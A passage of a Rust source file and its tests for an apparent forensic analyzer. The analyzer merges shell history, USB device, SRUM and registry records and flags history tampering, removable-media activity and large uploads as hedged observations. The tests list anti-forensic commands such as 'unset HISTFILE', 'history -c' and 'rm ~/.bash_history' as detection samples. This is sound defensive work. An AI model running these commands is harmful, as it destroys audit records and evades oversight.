897        _ => return None,
898    };
899    if structured.is_some() {
900        return structured;
901    }
902    for tok in activity.detail.split_whitespace() {
903        if let Some(rest) = tok.strip_prefix("vol:") {
904            if let Ok(serial) = rest.parse::<u32>() {
905                return Some(serial);
906            }
907        }
908    }
909    None
910}
911
912/// Audit a merged timeline for cross-source user-activity findings.
913///
914/// Emits hedged, low-false-positive observations achievable from the v0.1 sources:
915///
916/// - `USERACT-EXEC-DURING-REMOVABLE-MEDIA` — a shell command executed within
917///   [`REMOVABLE_MEDIA_WINDOW_SECS`] of a removable mass-storage device connection
918///   (temporal cross-source join). Consistent with activity involving external
919///   media (MITRE T1052 / T1091).
920/// - `USERACT-HISTORY-TAMPERED` — a history-clearing activity present in the
921///   timeline (re-surfaced at the user-activity layer; MITRE T1070.003).
922///
923/// Every finding is an observation, never a verdict.
924#[must_use]
925pub fn audit(events: &[UserActivity]) -> Vec<Finding> {
926    audit_with(events, &source("host"))
927}
928
929/// [`audit`] with a caller-supplied [`Source`] stamp (scope/version).
930#[must_use]
931pub fn audit_with(events: &[UserActivity], src: &Source) -> Vec<Finding> {
932    let mut findings = Vec::new();
933
934    // Removable mass-storage connection windows: (epoch, device id).
935    //
936    // Eligibility is derived structurally from the device instance id's leading
937    // enumerator token (`USBSTOR`, `USB`, `SD`, `SCSI`, …) via the published
938    // `peripheral_core::Bus` classifier — not a hardcoded device list — so any
939    // mass-storage member of the class qualifies and HID/Bluetooth/MTP devices do
940    // not.
941    let media_windows: Vec<(i64, &str)> = events
942        .iter()
943        .filter_map(|e| match (&e.action, &e.subject, e.timestamp) {
944            (Action::Connected, Subject::Device { id, .. }, Some(ts)) if is_mass_storage_id(id) => {
945                Some((ts, id.as_str()))
946            }
947            _ => None,
948        })
949        .collect();
950
951    // USERACT-FILE-ON-EXTERNAL-DEVICE — a file/folder accessed on a volume whose
952    // serial matches a connected external device (the volume-serial join).
953    for (di, fi) in device_file_volume_joins(events) {
954        findings.push(file_on_external_device_finding(
955            &events[di],
956            &events[fi],
957            src,
958        ));
959    }
960
961    for event in events {
962        // USERACT-HISTORY-TAMPERED — re-surface the clearing signal here.
963        if event.action == Action::HistoryTampered {
964            findings.push(history_tampered_finding(event, src));
965            continue;
966        }
967
968        // USERACT-NETWORK-EXFIL-VOLUME — a SRUM network row whose per-interval
969        // bytes_sent crosses the conservative threshold (graded lead, not a verdict).
970        if event.source == SourceKind::Srum {
971            if let Some(bytes_sent) = srum_network_bytes_sent(event) {
972                if bytes_sent >= NETWORK_EXFIL_BYTES_THRESHOLD {
973                    findings.push(network_exfil_volume_finding(event, bytes_sent, src));
974                }
975            }
976        }
977
978        // USERACT-EXEC-DURING-REMOVABLE-MEDIA — temporal cross-source join.
979        if let (Action::Executed, Some(ts), Subject::Command(cmd)) =
980            (event.action, event.timestamp, &event.subject)
981        {
982            if let Some((win_ts, dev_id)) = media_windows
983                .iter()
984                .find(|(dev_ts, _)| (ts - dev_ts).abs() <= REMOVABLE_MEDIA_WINDOW_SECS)
985            {
986                findings.push(exec_during_media_finding(cmd, ts, *win_ts, dev_id, src));
987            }
988        }
989    }
990
991    findings
992}
993
994/// Is this device instance id a removable mass-storage transport?
995///
996/// Classifies the leading enumerator token (the part before the first `\`) with the
997/// published [`peripheral_core::Bus`] classifier. A bare id with no separator is
998/// treated as its own enumerator. Structural, not a device allow-list.
999fn is_mass_storage_id(instance_id: &str) -> bool {
1000    let enumerator = instance_id.split('\\').next().unwrap_or(instance_id);
1001    Bus::from_enumerator(enumerator).is_mass_storage()
1002}
1003
1004fn history_tampered_finding(event: &UserActivity, src: &Source) -> Finding {
1005    let cmd = match &event.subject {
1006        Subject::Command(c) => c.as_str(),
1007        _ => event.detail.as_str(),
1008    };
1009    Finding::observation(
1010        Severity::Medium,
1011        Category::Concealment,
1012        "USERACT-HISTORY-TAMPERED",
1013    )
1014    .source(src.clone())
1015    .note(format!(
1016        "user activity {cmd:?} disables or clears the activity record; consistent with \
1017             anti-forensic history tampering (MITRE T1070.003)"
1018    ))
1019    .evidence("command", cmd.to_string())
1020    .external_ref(ExternalRef::mitre_attack("T1070.003"))
1021    .build()
1022}
1023
1024fn exec_during_media_finding(
1025    cmd: &str,
1026    cmd_ts: i64,
1027    dev_ts: i64,
1028    dev_id: &str,
1029    src: &Source,
1030) -> Finding {
1031    Finding::observation(
1032        Severity::Low,
1033        Category::Threat,
1034        "USERACT-EXEC-DURING-REMOVABLE-MEDIA",
1035    )
1036    .source(src.clone())
1037    .note(format!(
1038        "the command {cmd:?} ran within {REMOVABLE_MEDIA_WINDOW_SECS}s of removable mass-storage \
1039         device {dev_id:?} being connected; consistent with activity involving external media \
1040         (MITRE T1052 / T1091)"
1041    ))
1042    .evidence("command", cmd.to_string())
1043    .evidence("device", dev_id.to_string())
1044    .evidence("command_epoch", cmd_ts.to_string())
1045    .evidence("device_epoch", dev_ts.to_string())
1046    .external_ref(ExternalRef::mitre_attack("T1052"))
1047    .external_ref(ExternalRef::mitre_attack("T1091"))
1048    .build()
1049}
1050
1051/// Recover the `bytes_sent` value a SRUM network-usage activity advertises in its
1052/// `detail` (the `<n>\u{2191} …` prefix [`from_srum`] writes). Returns `None` for
1053/// any non-network SRUM activity (e.g. an app-usage row).
1054fn srum_network_bytes_sent(activity: &UserActivity) -> Option<u64> {
1055    let prefix = activity.detail.split('\u{2191}').next()?;
1056    prefix.trim().parse::<u64>().ok()
1057}
1058
1059fn network_exfil_volume_finding(event: &UserActivity, bytes_sent: u64, src: &Source) -> Finding {
1060    let app = match &event.subject {
1061        Subject::Command(c) => c.as_str(),
1062        _ => event.detail.as_str(), // cov:unreachable: caller is a SRUM network row, always Subject::Command
1063    };
1064    let actor = event.actor.as_deref().unwrap_or("(unattributed)");
1065    Finding::observation(
1066        Severity::Medium,
1067        Category::Threat,
1068        "USERACT-NETWORK-EXFIL-VOLUME",
1069    )
1070    .source(src.clone())
1071    .note(format!(
1072        "SRUM records {bytes_sent} bytes sent in one interval by {app:?} attributed to user \
1073         {actor:?}; the volume exceeds the {NETWORK_EXFIL_BYTES_THRESHOLD}-byte lead threshold and \
1074         is consistent with bulk data exfiltration (MITRE T1048 / T1052) — a graded lead for the \
1075         examiner, not a verdict"
1076    ))
1077    .evidence("application", app.to_string())
1078    .evidence("actor", actor.to_string())
1079    .evidence("bytes_sent", bytes_sent.to_string())
1080    .external_ref(ExternalRef::mitre_attack("T1048"))
1081    .external_ref(ExternalRef::mitre_attack("T1052"))
1082    .build()
1083}
1084
1085fn file_on_external_device_finding(
1086    device: &UserActivity,
1087    file: &UserActivity,
1088    src: &Source,
1089) -> Finding {
1090    let path = match &file.subject {
1091        Subject::File { path, .. } | Subject::Folder { path, .. } => path.as_str(),
1092        _ => file.detail.as_str(), // cov:unreachable: join only pairs File/Folder subjects here
1093    };
1094    let dev_id = match &device.subject {
1095        Subject::Device { id, .. } => id.as_str(),
1096        _ => device.detail.as_str(), // cov:unreachable: join only pairs Device subjects here
1097    };
1098    let serial = match &device.subject {
1099        Subject::Device {
1100            volume_serial: Some(s),
1101            ..
1102        } => *s,
1103        _ => 0, // cov:unreachable: join requires Device { volume_serial: Some(_) }
1104    };
1105    Finding::observation(
1106        Severity::Medium,
1107        Category::Threat,
1108        "USERACT-FILE-ON-EXTERNAL-DEVICE",
1109    )
1110    .source(src.clone())
1111    .note(format!(
1112        "a user accessed {path:?} on a volume (serial {serial:#010x}) whose serial matches the \
1113         connected external device {dev_id:?}; consistent with data movement to/from removable \
1114         media (MITRE T1052 / T1091)"
1115    ))
1116    .evidence("file", path.to_string())
1117    .evidence("device", dev_id.to_string())
1118    .evidence("volume_serial", format!("{serial:#010x}"))
1119    .external_ref(ExternalRef::mitre_attack("T1052"))
1120    .external_ref(ExternalRef::mitre_attack("T1091"))
1121    .build()
1122}
1123
1124#[cfg(test)]
1125mod tests {
1126    use super::*;
1127    use peripheral_core::{Bus, Provenance, Stamp};
1128    use shellhist_core::{HistoryEntry, Shell};
1129
1130    fn entry(cmd: &str, ts: Option<i64>) -> HistoryEntry {
1131        HistoryEntry {
1132            shell: Shell::Bash,
1133            command: cmd.to_string(),
1134            timestamp: ts,
1135            elapsed: None,
1136            paths: Vec::new(),
1137        }
1138    }
1139
1140    fn device(
1141        instance_id: &str,
1142        bus: Bus,
1143        first_install: Option<i64>,
1144        vol: Option<u32>,
1145    ) -> DeviceConnection {
1146        DeviceConnection {
1147            bus,
1148            device_class_guid: None,
1149            vid: None,
1150            pid: None,
1151            device_serial: None,
1152            serial_is_os_generated: false,
1153            friendly_name: None,
1154            device_instance_id: instance_id.to_string(),
1155            first_install: first_install.map(Stamp::authoritative),
1156            last_install: None,
1157            last_arrival: None,
1158            last_removal: None,
1159            parent_id_prefix: None,
1160            volume_guid: None,
1161            drive_letter: None,
1162            volume_serial: vol,
1163            disk_signature: None,
1164            dma_capable: bus.is_dma_capable(),
1165            mitre: Vec::new(),
1166            source: Provenance {
1167                file: "setupapi.dev.log".to_string(),
1168                line: 1,
1169            },
1170        }
1171    }
1172
1173    // ── from_shell_history ────────────────────────────────────────────────────
1174
1175    #[test]
1176    fn shell_command_becomes_executed_activity() {
1177        let entries = [entry("ls -la /tmp", Some(1_700_000_000))];
1178        let acts = from_shell_history(&entries, None);
1179        assert_eq!(acts.len(), 1);
1180        assert_eq!(acts[0].action, Action::Executed);
1181        assert_eq!(acts[0].source, SourceKind::ShellHistory);
1182        assert_eq!(acts[0].timestamp, Some(1_700_000_000));
1183        assert_eq!(acts[0].subject, Subject::Command("ls -la /tmp".to_string()));
1184        assert_eq!(acts[0].actor, None);
1185    }
1186
1187    #[test]
1188    fn shell_actor_is_carried_when_known() {
1189        let entries = [entry("whoami", None)];
1190        let acts = from_shell_history(&entries, Some("alice"));
1191        assert_eq!(acts[0].actor.as_deref(), Some("alice"));
1192    }
1193
1194    #[test]
1195    fn history_clearing_command_becomes_tampered() {
1196        for cmd in [
1197            "unset HISTFILE",
1198            "history -c",
1199            "export HISTFILE=/dev/null",
1200            "Clear-History",
1201            "rm ~/.bash_history",
1202        ] {
1203            let entries = [entry(cmd, Some(1))];
1204            let acts = from_shell_history(&entries, None);
1205            assert_eq!(acts[0].action, Action::HistoryTampered);
1206        }
1207    }
1208
1209    #[test]
1210    fn benign_command_is_not_tampered() {
1211        let entries = [entry("git log --oneline", Some(1))];
1212        let acts = from_shell_history(&entries, None);
1213        assert_eq!(acts[0].action, Action::Executed);
1214    }
1215
1216    // ── from_device_connections ───────────────────────────────────────────────
1217
1218    #[test]
1219    fn device_becomes_connected_with_volume_serial() {
1220        let conns = [device(
1221            "USBSTOR\\Disk&Ven_SanDisk\\1234567890AB",
1222            Bus::Usb,
1223            Some(1_700_000_500),
1224            Some(0xDEAD_BEEF),
1225        )];
1226        let acts = from_device_connections(&conns);
1227        assert_eq!(acts.len(), 1);
1228        assert_eq!(acts[0].action, Action::Connected);
1229        assert_eq!(acts[0].source, SourceKind::PeripheralDevice);
1230        assert_eq!(acts[0].timestamp, Some(1_700_000_500));
1231        assert_eq!(
1232            acts[0].subject,
1233            Subject::Device {
1234                id: "USBSTOR\\Disk&Ven_SanDisk\\1234567890AB".to_string(),
1235                volume_serial: Some(0xDEAD_BEEF),
1236            }
1237        );
1238    }
1239
1240    #[test]
1241    fn device_timestamp_falls_back_through_stamps() {
1242        let mut conn = device("USB\\VID_0781", Bus::Usb, None, None);
1243        conn.last_arrival = Some(Stamp::inferred(42));
1244        let acts = from_device_connections(&[conn]);
1245        assert_eq!(acts[0].timestamp, Some(42));
1246    }
1247
1248    #[test]
1249    fn device_without_any_stamp_has_no_timestamp() {
1250        let conn = device("USB\\VID_0781", Bus::Usb, None, None);
1251        let acts = from_device_connections(&[conn]);
1252        assert_eq!(acts[0].timestamp, None);
1253    }
1254
1255    // ── build_timeline ────────────────────────────────────────────────────────
1256
1257    #[test]
1258    fn timeline_merges_and_sorts_by_timestamp() {
1259        let entries = [entry("late", Some(300)), entry("early", Some(100))];
1260        let conns = [device("USBSTOR\\x", Bus::Usb, Some(200), None)];
1261        let shell = ShellHistorySource::new(&entries);
1262        let devices = DeviceSource::new(&conns);
1263        let tl = build_timeline(&[&shell, &devices]);
1264        let ts: Vec<Option<i64>> = tl.iter().map(|e| e.timestamp).collect();
1265        assert_eq!(ts, vec![Some(100), Some(200), Some(300)]);
1266    }
1267
1268    #[test]
1269    fn timeline_orders_untimestamped_events_last_and_stably() {
1270        let entries = [
1271            entry("no_ts_a", None),
1272            entry("ts", Some(50)),
1273            entry("no_ts_b", None),
1274        ];
1275        let shell = ShellHistorySource::new(&entries);
1276        let tl = build_timeline(&[&shell]);
1277        assert_eq!(tl[0].timestamp, Some(50));
1278        assert_eq!(tl[1].detail, "no_ts_a");
1279        assert_eq!(tl[2].detail, "no_ts_b");
1280    }
1281
1282    // ── audit: USERACT-HISTORY-TAMPERED ───────────────────────────────────────
1283
1284    #[test]
1285    fn audit_surfaces_history_tampered() {
1286        let entries = [entry("unset HISTFILE", Some(10))];
1287        let acts = from_shell_history(&entries, None);
1288        let findings = audit(&acts);
1289        let f = findings
1290            .iter()
1291            .find(|f| f.code == "USERACT-HISTORY-TAMPERED")
1292            .expect("history-tampered finding must fire");
1293        assert_eq!(f.severity, Some(Severity::Medium));
1294        assert_eq!(f.category, Category::Concealment);
1295    }
1296
1297    // ── audit: USERACT-EXEC-DURING-REMOVABLE-MEDIA ────────────────────────────
1298
1299    #[test]
1300    fn audit_fires_exec_during_removable_media_within_window() {
1301        let entries = [entry("tar czf /media/usb/out.tgz .", Some(1_000))];
1302        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1_500), None)];
1303        let shell = ShellHistorySource::new(&entries);
1304        let devices = DeviceSource::new(&conns);
1305        let tl = build_timeline(&[&shell, &devices]);
1306        let findings = audit(&tl);
1307        assert!(findings
1308            .iter()
1309            .any(|f| f.code == "USERACT-EXEC-DURING-REMOVABLE-MEDIA"));
1310    }
1311
1312    #[test]
1313    fn audit_does_not_fire_outside_window() {
1314        let entries = [entry("ls", Some(1_000))];
1315        let conns = [device(
1316            "USBSTOR\\Disk",
1317            Bus::Usb,
1318            Some(1_000 + REMOVABLE_MEDIA_WINDOW_SECS + 1),
1319            None,
1320        )];
1321        let shell = ShellHistorySource::new(&entries);
1322        let devices = DeviceSource::new(&conns);
1323        let tl = build_timeline(&[&shell, &devices]);
1324        let findings = audit(&tl);
1325        assert!(findings
1326            .iter()
1327            .all(|f| f.code != "USERACT-EXEC-DURING-REMOVABLE-MEDIA"));
1328    }
1329
1330    #[test]
1331    fn audit_does_not_fire_for_non_mass_storage_device() {
1332        // A Bluetooth HID device is NOT mass storage → no exec-during-media finding.
1333        let entries = [entry("ls", Some(1_000))];
1334        let conns = [device("BTHENUM\\Dev", Bus::Bluetooth, Some(1_000), None)];
1335        let shell = ShellHistorySource::new(&entries);
1336        let devices = DeviceSource::new(&conns);
1337        let tl = build_timeline(&[&shell, &devices]);
1338        let findings = audit(&tl);
1339        assert!(findings
1340            .iter()
1341            .all(|f| f.code != "USERACT-EXEC-DURING-REMOVABLE-MEDIA"));
1342    }
1343
1344    #[test]
1345    fn audit_with_custom_source_stamps_scope() {
1346        let entries = [entry("history -c", Some(1))];
1347        let acts = from_shell_history(&entries, None);
1348        let findings = audit_with(&acts, &source("CASE-001/host-7"));
1349        let f = &findings[0];
1350        assert_eq!(f.source.scope, "CASE-001/host-7");
1351        assert_eq!(f.source.analyzer, "useract-forensic");
1352    }
1353
1354    // ── findings are observations, never verdicts ─────────────────────────────
1355
1356    #[test]
1357    fn findings_are_hedged_observations_never_verdicts() {
1358        let entries = [
1359            entry("unset HISTFILE", Some(1_000)),
1360            entry("cp x /media/usb", Some(1_010)),
1361        ];
1362        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1_005), None)];
1363        let shell = ShellHistorySource::new(&entries);
1364        let devices = DeviceSource::new(&conns);
1365        let tl = build_timeline(&[&shell, &devices]);
1366        let findings = audit(&tl);
1367        assert!(!findings.is_empty());
1368        for f in &findings {
1369            let note = f.note.to_ascii_lowercase();
1370            assert!(!note.contains("proves"));
1371            assert!(!note.contains("confirms"));
1372            assert!(!note.contains("definitely"));
1373            assert!(note.contains("consistent with"));
1374        }
1375    }
1376
1377    // ── volume-serial join seam (v0.2 activation, proven by construction) ──────
1378
1379    #[test]
1380    fn volume_serial_join_is_empty_for_v01_sources() {
1381        // v0.1 emits no File/Folder subjects carrying a volume serial → no joins.
1382        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
1383        let acts = from_device_connections(&conns);
1384        assert!(device_file_volume_joins(&acts).is_empty());
1385    }
1386
1387    #[test]
1388    fn volume_serial_join_lights_up_for_a_v02_style_file_event() {
1389        // A synthetic v0.2-shape File activity advertising the same volume serial as
1390        // a connected device joins to it — proving the seam is correct by construction.
1391        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
1392        let mut acts = from_device_connections(&conns);
1393        acts.push(UserActivity {
1394            timestamp: Some(2),
1395            actor: None,
1396            action: Action::Accessed,
1397            subject: Subject::file("\\\\?\\E:\\secret.docx"),
1398            source: SourceKind::PeripheralDevice, // placeholder
1399            detail: "opened E:\\secret.docx vol:4660".to_string(), // 0x1234 == 4660
1400        });
1401        let joins = device_file_volume_joins(&acts);
1402        assert_eq!(joins, vec![(0, 1)]);
1403    }
1404
1405    #[test]
1406    fn volume_serial_join_ignores_mismatched_serials() {
1407        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
1408        let mut acts = from_device_connections(&conns);
1409        acts.push(UserActivity {
1410            timestamp: Some(2),
1411            actor: None,
1412            action: Action::Accessed,
1413            subject: Subject::file("x"),
1414            source: SourceKind::PeripheralDevice,
1415            detail: "vol:9999".to_string(),
1416        });
1417        assert!(device_file_volume_joins(&acts).is_empty());
1418    }
1419
1420    #[test]
1421    fn volume_serial_join_skips_files_without_a_volume_token() {
1422        // A folder activity that advertises no `vol:` token never joins (the
1423        // file_volume_serial None path).
1424        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
1425        let mut acts = from_device_connections(&conns);
1426        acts.push(UserActivity {
1427            timestamp: Some(2),
1428            actor: None,
1429            action: Action::Accessed,
1430            subject: Subject::folder("E:\\photos"),
1431            source: SourceKind::PeripheralDevice,
1432            detail: "opened folder with no serial hint".to_string(),
1433        });
1434        // And a file whose `vol:` token is non-numeric (parse Err path) also never joins.
1435        acts.push(UserActivity {
1436            timestamp: Some(3),
1437            actor: None,
1438            action: Action::Accessed,
1439            subject: Subject::file("E:\\x"),
1440            source: SourceKind::PeripheralDevice,
1441            detail: "vol:notanumber".to_string(),
1442        });
1443        assert!(device_file_volume_joins(&acts).is_empty());
1444    }
1445
1446    #[test]
1447    fn history_tampered_finding_falls_back_to_detail_for_non_command_subject() {
1448        // Defensive: a HistoryTampered activity whose subject is not a Command still
1449        // produces a finding, using detail for the command text.
1450        let act = UserActivity {
1451            timestamp: Some(1),
1452            actor: None,
1453            action: Action::HistoryTampered,
1454            subject: Subject::file("ConsoleHost_history.txt"),
1455            source: SourceKind::ShellHistory,
1456            detail: "Remove-Item ConsoleHost_history.txt".to_string(),
1457        };
1458        let findings = audit(&[act]);
1459        assert_eq!(findings.len(), 1);
1460        assert_eq!(findings[0].code, "USERACT-HISTORY-TAMPERED");
1461        assert!(findings[0]
1462            .note
1463            .contains("Remove-Item ConsoleHost_history.txt"));
1464    }
1465
1466    #[test]
1467    fn is_mass_storage_id_classifies_bare_and_separated_ids() {
1468        assert!(is_mass_storage_id("USBSTOR\\Disk&Ven"));
1469        assert!(is_mass_storage_id("USBSTOR"));
1470        assert!(!is_mass_storage_id("BTHENUM\\Dev"));
1471        assert!(!is_mass_storage_id(""));
1472    }
1473
1474    #[test]
1475    fn activitysource_trait_dispatches() {
1476        let entries = [entry("ls", Some(1))];
1477        let s = ShellHistorySource::for_actor(&entries, "bob");
1478        let acts: Vec<UserActivity> = s.activities();
1479        assert_eq!(acts[0].actor.as_deref(), Some("bob"));
1480    }
1481
1482    // ── SRUM adapter (v0.2) ───────────────────────────────────────────────────
1483
1484    use srum_core::{AppUsageRecord, IdMapEntry, NetworkUsageRecord};
1485
1486    fn utc(epoch: i64) -> chrono::DateTime<chrono::Utc> {
1487        chrono::DateTime::from_timestamp(epoch, 0).expect("valid epoch")
1488    }
1489
1490    #[test]
1491    fn srum_network_row_is_executed_and_actor_attributed() {
1492        // user_id and app_id are integers resolved through the id-map.
1493        let id_map = [
1494            IdMapEntry {
1495                id: 7,
1496                name: "S-1-5-21-1-2-3-1001".to_string(),
1497            },
1498            IdMapEntry {
1499                id: 42,
1500                name: "\\Device\\HarddiskVolume3\\Windows\\explorer.exe".to_string(),
1501            },
1502        ];
1503        let net = [NetworkUsageRecord {
1504            app_id: 42,
1505            user_id: 7,
1506            timestamp: utc(1_700_000_000),
1507            bytes_sent: 4096,
1508            bytes_recv: 1024,
1509            auto_inc_id: 0,
1510        }];
1511        let acts = from_srum(&net, &[], &id_map);
1512        assert_eq!(acts.len(), 1);
1513        let a = &acts[0];
1514        assert_eq!(a.action, Action::Executed);
1515        assert_eq!(a.source, SourceKind::Srum);
1516        assert_eq!(a.timestamp, Some(1_700_000_000));
1517        // First source that ATTRIBUTES to a specific user SID.
1518        assert_eq!(a.actor.as_deref(), Some("S-1-5-21-1-2-3-1001"));
1519        // App resolves through the id-map.
1520        assert_eq!(
1521            a.subject,
1522            Subject::Command("\\Device\\HarddiskVolume3\\Windows\\explorer.exe".to_string())
1523        );
1524        // Network volume surfaced in the detail.
1525        assert!(a.detail.contains("4096"));
1526        assert!(a.detail.contains("1024"));
1527    }
1528
1529    #[test]
1530    fn srum_unresolved_user_id_falls_back_to_numeric_token() {
1531        // No id-map entry for the user → actor is a stable synthetic token, never lost.
1532        let net = [NetworkUsageRecord {
1533            app_id: 1,
1534            user_id: 99,
1535            timestamp: utc(10),
1536            bytes_sent: 1,
1537            bytes_recv: 2,
1538            auto_inc_id: 0,
1539        }];
1540        let acts = from_srum(&net, &[], &[]);
1541        assert_eq!(acts.len(), 1);
1542        assert_eq!(acts[0].actor.as_deref(), Some("user-id:99"));
1543        // App also falls back when unresolved.
1544        assert_eq!(acts[0].subject, Subject::Command("app-id:1".to_string()));
1545    }
1546
1547    #[test]
1548    fn srum_app_usage_row_is_executed_and_actor_attributed() {
1549        let id_map = [
1550            IdMapEntry {
1551                id: 5,
1552                name: "S-1-5-21-9-9-9-500".to_string(),
1553            },
1554            IdMapEntry {
1555                id: 8,
1556                name: "C:\\Tools\\rclone.exe".to_string(),
1557            },
1558        ];
1559        let app = [AppUsageRecord {
1560            app_id: 8,
1561            user_id: 5,
1562            timestamp: utc(1_700_000_500),
1563            foreground_cycles: 900_000,
1564            background_cycles: 100,
1565            auto_inc_id: 0,
1566        }];
1567        let acts = from_srum(&[], &app, &id_map);
1568        assert_eq!(acts.len(), 1);
1569        assert_eq!(acts[0].action, Action::Executed);
1570        assert_eq!(acts[0].source, SourceKind::Srum);
1571        assert_eq!(acts[0].actor.as_deref(), Some("S-1-5-21-9-9-9-500"));
1572        assert_eq!(
1573            acts[0].subject,
1574            Subject::Command("C:\\Tools\\rclone.exe".to_string())
1575        );
1576    }
1577
1578    #[test]
1579    fn srum_source_adapter_dispatches() {
1580        let net = [NetworkUsageRecord {
1581            app_id: 1,
1582            user_id: 1,
1583            timestamp: utc(1),
1584            bytes_sent: 1,
1585            bytes_recv: 1,
1586            auto_inc_id: 0,
1587        }];
1588        let s = SrumSource::new(&net, &[], &[]);
1589        let acts = s.activities();
1590        assert_eq!(acts.len(), 1);
1591        assert_eq!(acts[0].source, SourceKind::Srum);
1592    }
1593
1594    // ── audit: USERACT-NETWORK-EXFIL-VOLUME (v0.2) ────────────────────────────
1595
1596    #[test]
1597    fn audit_fires_network_exfil_volume_above_threshold() {
1598        let id_map = [
1599            IdMapEntry {
1600                id: 7,
1601                name: "S-1-5-21-1-2-3-1001".to_string(),
1602            },
1603            IdMapEntry {
1604                id: 42,
1605                name: "rclone.exe".to_string(),
1606            },
1607        ];
1608        let net = [NetworkUsageRecord {
1609            app_id: 42,
1610            user_id: 7,
1611            timestamp: utc(1_700_000_000),
1612            bytes_sent: NETWORK_EXFIL_BYTES_THRESHOLD + 1,
1613            bytes_recv: 0,
1614            auto_inc_id: 0,
1615        }];
1616        let acts = from_srum(&net, &[], &id_map);
1617        let findings = audit(&acts);
1618        let f = findings
1619            .iter()
1620            .find(|f| f.code == "USERACT-NETWORK-EXFIL-VOLUME")
1621            .expect("network-exfil-volume must fire above threshold");
1622        assert_eq!(f.severity, Some(Severity::Medium));
1623        assert_eq!(f.category, Category::Threat);
1624    }
1625
1626    #[test]
1627    fn audit_does_not_fire_network_exfil_below_threshold() {
1628        let net = [NetworkUsageRecord {
1629            app_id: 1,
1630            user_id: 1,
1631            timestamp: utc(1),
1632            bytes_sent: NETWORK_EXFIL_BYTES_THRESHOLD - 1,
1633            bytes_recv: 0,
1634            auto_inc_id: 0,
1635        }];
1636        let acts = from_srum(&net, &[], &[]);
1637        let findings = audit(&acts);
1638        assert!(findings
1639            .iter()
1640            .all(|f| f.code != "USERACT-NETWORK-EXFIL-VOLUME"));
1641    }
1642
1643    #[test]
1644    fn audit_skips_exfil_check_for_srum_app_usage_rows() {
1645        // An app-usage SRUM row carries CPU cycles, not bytes, so its detail has no
1646        // bytes-sent prefix: the exfil check sees None and never fires (regardless
1647        // of how large the cycle counts are).
1648        let app = [AppUsageRecord {
1649            app_id: 1,
1650            user_id: 1,
1651            timestamp: utc(1),
1652            foreground_cycles: u64::MAX,
1653            background_cycles: u64::MAX,
1654            auto_inc_id: 0,
1655        }];
1656        let acts = from_srum(&[], &app, &[]);
1657        let findings = audit(&acts);
1658        assert!(findings
1659            .iter()
1660            .all(|f| f.code != "USERACT-NETWORK-EXFIL-VOLUME"));
1661    }
1662
1663    // ── winreg-artifacts adapter (v0.2) ───────────────────────────────────────
1664
1665    use winreg_artifacts::shellbags::ShellbagEntry;
1666    use winreg_artifacts::typed_urls::TypedUrl;
1667    use winreg_artifacts::userassist::UserAssistEntry;
1668
1669    fn ua(program: &str, run_count: u32, last_run: Option<&str>) -> UserAssistEntry {
1670        UserAssistEntry {
1671            program: program.to_string(),
1672            run_count,
1673            focus_count: 0,
1674            focus_duration_ms: 0,
1675            last_run: last_run.map(ToString::to_string),
1676            guid: "{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}".to_string(),
1677        }
1678    }
1679
1680    #[test]
1681    fn userassist_entry_becomes_executed_with_run_count() {
1682        let entries = [ua(
1683            "C:\\Windows\\System32\\cmd.exe",
1684            5,
1685            Some("2024-06-15T08:00:00Z"),
1686        )];
1687        let acts = from_userassist(&entries, Some("alice"));
1688        assert_eq!(acts.len(), 1);
1689        let a = &acts[0];
1690        assert_eq!(a.action, Action::Executed);
1691        assert_eq!(a.source, SourceKind::Registry);
1692        assert_eq!(
1693            a.subject,
1694            Subject::Command("C:\\Windows\\System32\\cmd.exe".to_string())
1695        );
1696        // ISO last_run is parsed to epoch (2024-06-15T08:00:00Z = 1718438400).
1697        assert_eq!(a.timestamp, Some(1_718_438_400));
1698        assert_eq!(a.actor.as_deref(), Some("alice"));
1699        // Run count carried in detail.
1700        assert!(a.detail.contains('5'));
1701    }
1702
1703    #[test]
1704    fn userassist_without_last_run_has_no_timestamp() {
1705        let entries = [ua("notepad.exe", 1, None)];
1706        let acts = from_userassist(&entries, None);
1707        assert_eq!(acts[0].timestamp, None);
1708        assert_eq!(acts[0].actor, None);
1709    }
1710
1711    #[test]
1712    fn typed_url_becomes_typed_activity() {
1713        let urls = [TypedUrl {
1714            url: "https://pastebin.com/abc".to_string(),
1715            last_visited: Some("2024-01-02T03:04:05Z".to_string()),
1716            is_suspicious: true,
1717            suspicious_reason: Some("suspicious domain: pastebin.com".to_string()),
1718        }];
1719        let acts = from_typed_urls(&urls, None);
1720        assert_eq!(acts.len(), 1);
1721        assert_eq!(acts[0].action, Action::Typed);
1722        assert_eq!(acts[0].source, SourceKind::Registry);
1723        assert_eq!(
1724            acts[0].subject,
1725            Subject::Query("https://pastebin.com/abc".to_string())
1726        );
1727        assert!(acts[0].timestamp.is_some());
1728    }
1729
1730    #[test]
1731    fn shellbag_becomes_accessed_folder() {
1732        let bags = [ShellbagEntry {
1733            path: "BagMRU[slot=0, size=120 bytes]".to_string(),
1734            key_path: "Software\\Microsoft\\Windows\\Shell\\BagMRU\\0".to_string(),
1735            last_written: Some("2024-03-04T05:06:07Z".to_string()),
1736            mru_order: vec!["0".to_string()],
1737        }];
1738        let acts = from_shellbags(&bags, Some("bob"));
1739        assert_eq!(acts.len(), 1);
1740        assert_eq!(acts[0].action, Action::Accessed);
1741        assert_eq!(acts[0].source, SourceKind::Registry);
1742        assert!(matches!(acts[0].subject, Subject::Folder { .. }));
1743        assert_eq!(acts[0].actor.as_deref(), Some("bob"));
1744    }
1745
1746    #[test]
1747    fn from_registry_merges_all_three_registry_artifacts() {
1748        let ua_entries = [ua("cmd.exe", 1, Some("2024-06-15T08:00:00Z"))];
1749        let urls = [TypedUrl {
1750            url: "https://x.test".to_string(),
1751            last_visited: None,
1752            is_suspicious: false,
1753            suspicious_reason: None,
1754        }];
1755        let bags = [ShellbagEntry {
1756            path: "BagMRU[slot=0, size=10 bytes]".to_string(),
1757            key_path: "k".to_string(),
1758            last_written: None,
1759            mru_order: vec![],
1760        }];
1761        let acts = from_registry(&ua_entries, &urls, &bags, Some("alice"));
1762        assert_eq!(acts.len(), 3);
1763        assert!(acts.iter().any(|a| a.action == Action::Executed));
